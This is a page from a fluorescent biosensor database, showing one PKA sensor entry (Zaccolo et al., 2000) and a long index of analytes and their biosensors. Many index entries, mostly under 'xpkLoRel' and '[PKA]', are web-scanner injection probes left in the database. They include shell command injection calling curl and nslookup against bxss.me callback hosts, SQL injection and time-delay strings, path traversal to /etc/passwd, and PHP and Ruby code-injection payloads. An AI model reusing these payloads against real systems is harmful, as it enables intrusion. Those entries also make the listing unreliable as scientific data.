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Field
Current Value
Updated change
Name
PKAc-S65T + PKArII-EBFP
Full name
Readout Method
FRET
Select Type ...
FRET
Intensity
FLIM
FLIM-FRET
Translocation
Excitation Ratiometric
Emission Ratiometric
BRET
Localization
Bioluminescence
FLINC
Ratiometric
Pubmed ID
10620803
Source Year
2000
Source Journal
Nat Cell Biol
Source Author
Zaccolo M, De Giorgi F, Cho CY, Feng L, Knapp T, Negulescu PA, Taylor SS, Tsien RY, Pozzan T
Other Sources
Addgene number
Components
PKA catalytic subunit|S65T|| PKA rII | EBFP
Sensing Element
PKA catalytic subunit || PKA rII
Fluorescent Proteins
GFP (S65T) | EBFP
Targeting
Unimolecular?
Unimolecular
Bimolecular or other
BS Family
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[] - xpkLoRel
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[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[(nslookup -q=cname hitfjzmeyikgtc0294.bxss.me] - xpkLoRel
[(nslookup${IFS}-q${IFS}cname${IFS}hiticvsxpeutm8226f.bxss.me] - xpkLoRel
[*] - xpkLoRel
[2OG] - mOGsor
[3CLPro] - Flip-GFP
[3prime IP] - GFP AKT domains
[3prime IP] - Homo FRET mCherry-Akt-PH
[3prime IP] - InPAkt
[5-HT] - 5-HT 3A CNiFER
[5-HT] - dLight
[5-HT] - G-GESS
[5-HT] - GRAB-5HT
[5-HT] - iSnFR
[A1R] - A1R SPASM
[Abl] - Abl Indicator
[ACh] - ACh CNiFER
[ACh] - ACh-Snifit
[ACh] - GACh
[ADP] - ADPrime
[Akt] - Akind
[Akt] - Akt translocation Reporters
[Akt] - AktAR
[Akt] - AktUS
[Akt] - BKAR
[Akt] - Dual Labeled Akt
[Akt] - Eevee-Akt
[Akt] - ReAktion
[alpha2A-AR] - Receptor Conformation Sensor
[Ammonium] - AmTrac
[AMPK] - AMPfret
[AMPK] - AMPKAR
[AMPK] - ExRai-AMPKAR
[Annexin 4] - NEX4
[Arabinose] - FLIPara
[Arg] - FRET Arg Reporter
[As3+] - SenALiB
[aspartate] - iSnFR
[Atg4a] - FRET-LC3B
[Atg4b] - FRET-GATE-16
[ATM kinase] - ATOMIC
[ATP] - ATeam
[ATP] - EAF-based ATP biosensor
[ATP] - iATPSnFR
[ATP] - MaLion
[ATP] - Nano-lantern ATP
[ATP] - QUEEN
[ATP] - Syn-ATP
[ATP:ADP Ratio] - Perceval
[Aurora B kinase] - Aurora B sensor
[Aurora Kinase A] - AURKA Biosensor
[B-Raf] - Prin-BRaf
[Bax] - Bax Translocation reporter
[BCAA] - OLIVe
[Bcr-Abl] - Pickles
[BDNF] - Bescell
[beta Arrestin 2] - Beta Arrestin 2 ubiquitination biosensor
[Beta1-AR] - dLight
[Beta2-AR] - BRET^2 β2-AR Activation Probes
[Beta2-AR] - dLight
[Beta2-AR] - β2-AR SPASM
[Beta2-AR] - Nb80
[Beta2-AR] - Receptor Conformation Sensor
[C-Raf] - Prin-CRaf
[Ca2+] - Ca-FLITS
[Ca2+] - Ca2+ Snapshot
[Ca2+] - CaMBI
[Ca2+] - Cameleons
[Ca2+] - Camgaroo
[Ca2+] - CaMPARI
[Ca2+] - CASE
[Ca2+] - CatchER
[Ca2+] - ddFP Ca2+ sensor
[Ca2+] - ER-GCaMP
[Ca2+] - ER-GECO
[Ca2+] - FGCaMP
[Ca2+] - FPX Ca2+ Sensors
[Ca2+] - GAF-CaMP
[Ca2+] - GAP
[Ca2+] - GCaMP
[Ca2+] - GECO
[Ca2+] - GreenT-EC
[Ca2+] - Nano-lantern Ca2+
[Ca2+] - NCaMP
[Ca2+] - NTnC
[Ca2+] - pericam
[Ca2+] - RCaMP
[Ca2+] - TN Ca2+ Sensors
[CaM] - BSCaM
[CaM] - MLCK-FIP
[CaMKII] - Camui
[CaMKII] - FRESCA
[CaMKII] - K2alpha
[cAMP] - cADDis
[cAMP] - camps
[cAMP] - CAMYEL
[cAMP] - CUTie
[cAMP] - Epac-S
[cAMP] - Epac1 (delta DEP-CD) based cAMP biosensors
[cAMP] - Flamindo
[cAMP] - FPX
[cAMP] - ICUE
[cAMP] - mCRIS based cAMP biosensor
[cAMP] - mICNBD
[cAMP] - mICNBD-FRET
[cAMP] - Nano-lantern cAMP
[cAMP] - R-FlincA
[cAMP] - R1alpha #7
[cAMP] - Split Luc cAMP biosensor
[cAMP] - YFP-PKAc + CFP-PKAr
[CaN] - CaN Activation
[CaN] - CaNAR
[CaN] - CaNARi
[CaN] - DuoCaN
[Caspase1] - FPX caspase 1 sensor
[Caspase1] - SCAT1
[Caspase3] - CASPAM
[Caspase3] - ddFP based
[Caspase3] - DEVD
[Caspase3] - DEVK
[Caspase3] - EC-RP
[Caspase3] - Far-Red Caspase sensors
[Caspase3] - Flip-GFP
[Caspase3] - Intein Based
[Caspase3] - iProtease
[Caspase3] - SCAT3
[Caspase3] - yDMQDc
[Caspase8] - Bid cleavage sensor
[Caspase8] - FPX caspase 8 sensor
[Caspase8] - IC-RP
[Caspase9] - SCAT9
[Cd2+] - Cd-FRET
[Cdc42] - (CDC42) GEF Sensor
[Cdc42] - CDC42 Biosensor
[Cdc42] - Cdc42 FRET
[Cdc42] - CDC42 Raichu
[Cdc42] - Cdc42-2G
[Cdc42] - ddFP Cdc42 Biosensor
[Cdc42] - GDI Cdc42 FLARE
[CDK1] - CyclinB1-Cdk1 activity sensor
[CDK2] - CDK2 Translocation Reporter
[Cell Cycle Phases] - Fucci
[cGMP] - cGES
[cGMP] - cGKI based cGMP sensors
[cGMP] - cGull
[cGMP] - CGY
[cGMP] - CUTie
[cGMP] - cyGNAL
[cGMP] - cygnet
[cGMP] - FlincG
[cGMP] - PfPKG
[Citrate] - FLIP-Cit
[CO] - COSer
[CRAC] - PH(crac)-GFP
[CREB] - ICAP
[Cu+] - CreiLOV
[Cu+] - Yeast Copper regulator based
[DAG] - Cys1-GFP
[DAG] - Daglas
[DAG] - DAGR
[DAG] - Digda
[DAPK1] - DAPK1 sensor
[Dictyostelium GPCR] - Labeled G proteins
[DNA methylation] - DNA methylation BiAD
[Dopamine] - dLight : Dopamine
[Dopamine] - Dopamine CNiFER
[Dopamine] - GRAB-DA
[DRD2] - iTango
[eCB] - GRAB-eCB
[echo cmwohk$()\ apqzuo\nz^xyu] - xpkLoRel
[EGFR] - ECaus
[EGFR] - EGFR Reporter
[EGFR] - FLAME
[EGFR] - Picchu-Z
[Enterokinase] - BRET-based
[ERK] - EAS
[ERK] - EKAR
[ERK] - ERK-KTR
[ERK] - Erkus
[ERK] - ERKy
[ERK] - FIRE
[ERK] - FLINC-EKAR1
[ERK] - FPX ERK
[ERK] - Miu2
[F-1,6-BP] - fructose‐1,6‐bisphosphate
[FAK] - FAK Activation Biosensor
[FAK] - FAK Autophosphorylation Biosensor
[FAK] - FAK sensor
[Fus3] - Far1-SKARS
[Fyn] - FRET
[Fyn] - saFRET
[FZD4] - Receptor Conformation Sensor
[FZD5] - Receptor Conformation Sensor
[FZD6] - Receptor Conformation Sensor
[FZD7] - Receptor Conformation Sensor
[G1 Phase] - G1 Phase Biosensor
[GABA] - GABA-Snifit
[GABA] - iGABASnFR
[GCK] - GCK Activation Biosensors
[Gα] - Galpha activation
[Gαi] - Gαi Sensor
[Gαq] - Gαq Sensor
[Gαs] - Gαs Sensor
[Gαs] - Gs Activation BRET Assay
[Gαs] - Nb37 based
[Gln] - FLIPQ
[Glucose] - FLIPglu
[Glucose] - GGBP
[Glucose] - GIP
[Glucose] - Glifon
[Glutamate] - FLIP Glt
[Glutamate] - FLIPE
[Glutamate] - GluSnFR
[Glutamate] - iGluSnFR
[Glutamate] - QBP based Gln Sensor
[Glutamate] - Snifit-iGluR5
[Glycine] - glycine FRET sensor
[GTP] - GEVAL
[H2O2] - HyPer
[H2O2] - roGFP based H2O2 sensor
[H2O2] - Unnatural Amino Acid H2O2 sensor
[H2O2] - Yap1 based H2O2 sensor
[H2S] - pAzF H2S sensors
[H3-S10p] - H3S10p biosensor
[H3-S28p] - Histone Phosphorylation reporter
[H3K9me3] - H3K9me3 BiAD
[H3R] - Receptor Conformation Sensor
[Halide Ions] - Clomeleon
[Halide Ions] - Dual pH and Cl sensor
[Halide Ions] - Halide Sensitive Fluorescent Proteins
[Heme] - CHY
[Heme] - CISDY
[Heme] - Fluorescence quenching Heme
[Heterotrimeric G Proteins] - αβγ trimerization
[Hg(II)] - eGFP based Hg sensor
[Hg(II)] - IFP based Hg sensor
[His] - FHisJ
[His] - FLIP-HisJ
[Histone Acetylation] - Histac
[Ins(1,3,4,5)P4] - Btk PH domain based
[INSR] - Insulin Receptor Activation BRET assay
[INSR] - Phocus
[INSR] - sinphos
[Insulin] - RINS
[IP3] - FIRE
[IP3] - fretino
[IP3] - GFP-PH
[IP3] - IRIS
[IP3] - LIBRA
[α1-AR] - α1-AR SPASM
[α2A-AR] - dLight
[α2A-AR] - α2-AR SPASM
[α2A-AR] - α2A-AR + labeled G protein
[α2A-AR] - α2A-AR activation sensor
[JNK] - dJUN-FRET
[JNK] - JNK-KTR
[JNK] - JNKAR
[JNK] - JuCKY
[K+] - GEPII
[K+] - GINKO
[K27H3 methlytransferase] - K27 Reporter
[K9H3 methyltransferase] - K9 Reporter
[kappa-opioid receptor] - dLight
[Kss1] - Ste7-SKARS
[Lactate] - Laconic
[LATS] - LATS-BS
[LCACoAs] - LACSer sensor
[Lck] - Lck Activation sensor
[Ln3+] - LaMP
[M1R] - M1R Activation Sensor
[M3R] - Receptor Conformation Sensor
[malonyl-CoA] - FapR-NLuc
[maltose] - FLIPmal
[maltose] - MBP
[MAPK or MK2] - GMB
[MARK] - MARK sensor
[Matriptase] - ddFP-based
[Mechanical Strain] - HP35
[Mechanical Strain] - PriSSM
[Mechanical Strain] - stFRET
[Mechanical Strain] - TSMod
[Mg2+] - MagFRET
[Mg2+] - MagIC
[MLKL] - SMART
[Mn2+] - MnLaMP
[Molecular crowding] - CrGE
[Molecular crowding] - Crowding sensor
[Mpk1] - Mkk2-SKARS
[Mpro] - BRET-based
[Mpro] - Flip-GFP
[MT1-MMP] - MT1-MMP Biosensor
[MT2] - dLight
[mTORC1] - TORCAR
[mu-opioid receptor] - dLight
[N-WASP] - N-WASP BS
[NAD+] - NAD+ Biosensor
[NAD+] - NAD-Snifit
[NAD+/NADH Ratio] - Peredox
[NAD+/NADH Ratio] - SoNar
[NAD+/NADH Ratio] - T-Rex Based
[NADH] - Frex
[NADP+] - Apollo-NADP+
[NADP+] - NADPsor
[NADP+:NADPH Ratio] - NADP-Snifit
[NADPH] - iNap
[NADPH] - Semi-synthetic BRET Sensor
[NE] - NE CNiFER
[Nicotine] - iNicSnFR
[NO] - FRET-MT
[NO] - geNOps
[NO] - sGC based NO biosensor
[O2] - dUnOHR hypoxia-reoxygenation sensor
[O2] - FluBO
[ODR-10] - OGOR
[OGT] - O-GlcNAc Sensor
[OHP] - OHSer
[ONOO-] - pnGFP
[opsin] - opsin SPASM
[Orexin Neuropeptide] - dLight : Orexin
[Oxytocin] - GRAB-OT
[p38] - p38 activity reporter
[p38] - p38-KTR
[PA] - Pii
[PAK1] - Pakabi
[PDGFR] - PDGFR Biosensor
[PDK1] - PARE
[pH] - deGFP
[pH] - Dendra
[pH] - Dual pH and Cl sensor
[pH] - E^xGFP
[pH] - FluBpH
[pH] - mtAlpHi
[pH] - Native FP pH Sensitivity
[pH] - pHaROS
[pH] - pHCEC
[pH] - pHluorins
[pH] - pHRed
[pH] - pHTomato
[pH] - pHuji
[pH] - pHusion
[pH] - SRpHi
[pH] - SypHer
[pH] - XFpH
[Phosphate] - FLIPPi
[PI(3)P] - GFP-FYVE
[PI(3)P] - GFP-PX
[PI(3,4)P2] - cPHx3
[PI(3,4)P2] - Pippi-PI(3,4)P2
[PI(3,5)P2] - GFP-MLN1
[PI(4)P] - BRET PI(4)P sensors
[PI(4)P] - Pippi
[PI(4,5)P2] - CAY
[PI(4,5)P2] - CYPHR
[PI(4,5)P2] - ENTH-GFP
[PI(4,5)P2] - FP-Tubby
[PI(4,5)P2] - FPX PIP2 sensor
[PI(4,5)P2] - PH(PLCdelta)
[PI(4,5)P2] - Pippi-PI(4,5)P2
[PI(4,5)P2] - R-PRE
[PIP3] - FLLIP
[PIP3] - InPAkt
[PIP3] - Labeled PH domains
[PIP3] - PIP3 BRET sensor
[PKA] -
[PKA] -
[PKA] -
[PKA] -
[PKA] - !(()&&!|*|*|
[PKA] - "+"A".concat(70-3).concat(22*4).concat(104).concat(82).concat(101).concat(88)+(require"socket" Socket.gethostbyname("hitgb"+"qjhpxrgzea03d.bxss.me.")[3].to_s)+"
[PKA] - "+response.write(9846125*9162423)+"
[PKA] - ".gethostbyname(lc("hitot"."ugpiceyu35888.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(84).chr(102).chr(70)."
[PKA] - ";print(md5(31337));$a="
[PKA] - "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
[PKA] - "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
[PKA] - "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
[PKA] - $(nslookup -q=cname hitisgfzxlkefc1ac4.bxss.me||curl hitisgfzxlkefc1ac4.bxss.me)
[PKA] - ${10000344+9999221}
[PKA] - ${@print(md5(31337))}
[PKA] - ${@print(md5(31337))}\
[PKA] - &(nslookup -q=cname hitqbyqscwimv32d0c.bxss.me||curl hitqbyqscwimv32d0c.bxss.me)&'\"`0&(nslookup -q=cname hitqbyqscwimv32d0c.bxss.me||curl hitqbyqscwimv32d0c.bxss.me)&`'
[PKA] - &(nslookup${IFS}-q${IFS}cname${IFS}hitbrfhdtokhif41c4.bxss.me||curl${IFS}hitbrfhdtokhif41c4.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbrfhdtokhif41c4.bxss.me||curl${IFS}hitbrfhdtokhif41c4.bx
[PKA] - &echo svcltf$()\ xvdixc\nz^xyu||a #' &echo svcltf$()\ xvdixc\nz^xyu||a #|" &echo svcltf$()\ xvdixc\nz^xyu||a #
[PKA] - &nslookup -q=cname hitqbpqkhmoerc634e.bxss.me&'\"`0&nslookup -q=cname hitqbpqkhmoerc634e.bxss.me&`'
[PKA] - '"
[PKA] - '"()
[PKA] - '+'A'.concat(70-3).concat(22*4).concat(106).concat(85).concat(102).concat(88)+(require'socket' Socket.gethostbyname('hitly'+'khplzlsqe6eb8.bxss.me.')[3].to_s)+'
[PKA] - '+response.write(9846125*9162423)+'
[PKA] - '.gethostbyname(lc('hitnq'.'iazwwerd02e71.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(82).chr(97).chr(76).'
[PKA] - '.print(md5(31337)).'
[PKA] - ';print(md5(31337));$a='
[PKA] - 'A'.concat(70-3).concat(22*4).concat(114).concat(74).concat(100).concat(84)+(require'socket' Socket.gethostbyname('hitco'+'nruwsypdfb290.bxss.me.')[3].to_s)
[PKA] - (nslookup -q=cname hitfblzwtcuzc60438.bxss.me||curl hitfblzwtcuzc60438.bxss.me))
[PKA] - (select 198766*667891 from DUAL)
[PKA] - (select 198766*667891)
[PKA] - (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
[PKA] - )
[PKA] - -1 OR 5*5=25
[PKA] - -1 OR 5*5=25 --
[PKA] - -1 OR 5*5=26
[PKA] - -1 OR 5*5=26 --
[PKA] - -1" OR 5*5=25 --
[PKA] - -1" OR 5*5=25 or "UXheba70"="
[PKA] - -1" OR 5*5=26 --
[PKA] - -1" OR 5*5=26 or "UXheba70"="
[PKA] - -1' OR 5*5=25 --
[PKA] - -1' OR 5*5=25 or '0iowThdy'='
[PKA] - -1' OR 5*5=26 --
[PKA] - -1' OR 5*5=26 or '0iowThdy'='
[PKA] - ../../../../../../../../../../../../../../etc/passwd
[PKA] - ../../../../../../../../../../../../../../etc/shells
[PKA] - ../../../../../../../../../../../../../../windows/win.ini
[PKA] - ../xpkLoRel
[PKA] - /etc/shells
%bf%27'💡' > [PKA] - 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
[PKA] - 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
"%>'%><%={{={@{#{${dfb}}%>' > [PKA] - 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
"%>'%><%={{={@{#{${dfb}}%>' > [PKA] - 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
"%>'%><%={{={@{#{${dfb}}%>' > [PKA] - 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
[PKA] - ;(nslookup -q=cname hitgdliyhealx6b7b9.bxss.me||curl hitgdliyhealx6b7b9.bxss.me)|(nslookup -q=cname hitgdliyhealx6b7b9.bxss.me||curl hitgdliyhealx6b7b9.bxss.me)&(nslookup -q=cname hitgdliyhealx6b7b9.b
[PKA] - ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
[PKA] -